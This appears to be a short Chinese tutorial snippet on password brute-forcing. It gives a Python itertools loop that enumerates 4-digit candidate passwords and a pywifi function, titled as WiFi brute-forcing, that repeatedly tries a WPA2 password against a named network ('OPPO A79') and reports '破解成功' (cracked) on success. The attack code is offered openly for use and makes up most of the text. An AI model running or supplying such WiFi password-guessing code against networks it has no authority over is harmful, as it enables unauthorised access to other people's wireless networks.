思路：穷举方法
1 import itertools as its # https://pypi.org/project/more-itertools/
2
3 w = '123456'
4 c = its.product(w,repeat=4)
5 num = 0
6 for i in c:
7 num += 1
8 print("第%s种密码：%s"%(num,i))
9 print('密码输入方式一共%s种'%num)
部分截图
暴力破解WiFi
1 import pywifi
2 from pywifi import const
3 import time
4 def wificonnect(pwd):
5 wifi = pywifi.PyWiFi()
6 print(wifi) #
7 ifaces = wifi.interfaces()[0]
8 print(ifaces.name()) # Broadcom 4313GN 802.11b/g/n 1x1 Wi-Fi 适配器
9 ifaces.disconnect()
10 time.sleep(1)
11 wifistatus = ifaces.status()
12 print(wifistatus)
13 print(const.IFACE_DISCONNECTED)
14 if wifistatus == const.IFACE_DISCONNECTED:
15
16 profile = pywifi.Profile()
17 profile.ssid = "OPPO A79"
18 profile.auth = const.AUTH_ALG_OPEN
19 profile.akm.append(const.AKM_TYPE_WPA2PSK)
20 profile.cipher = const.CIPHER_TYPE_CCMP
21 profile.key=pwd
22 ifaces.remove_all_network_profiles()
23 tep_profile = ifaces.add_network_profile(profile)
24 ifaces.connect(tep_profile)
25 time.sleep(3)
26 if ifaces.status()==const.IFACE_CONNECTED:
27 print("破解成功，密码为：%s"%pwd)
28 return True
29 else:
30 print("no破解成功")
31 return False
32 else:
33 print("已有wifi连接")
34
35
36
37 wificonnect("zdz@100.com")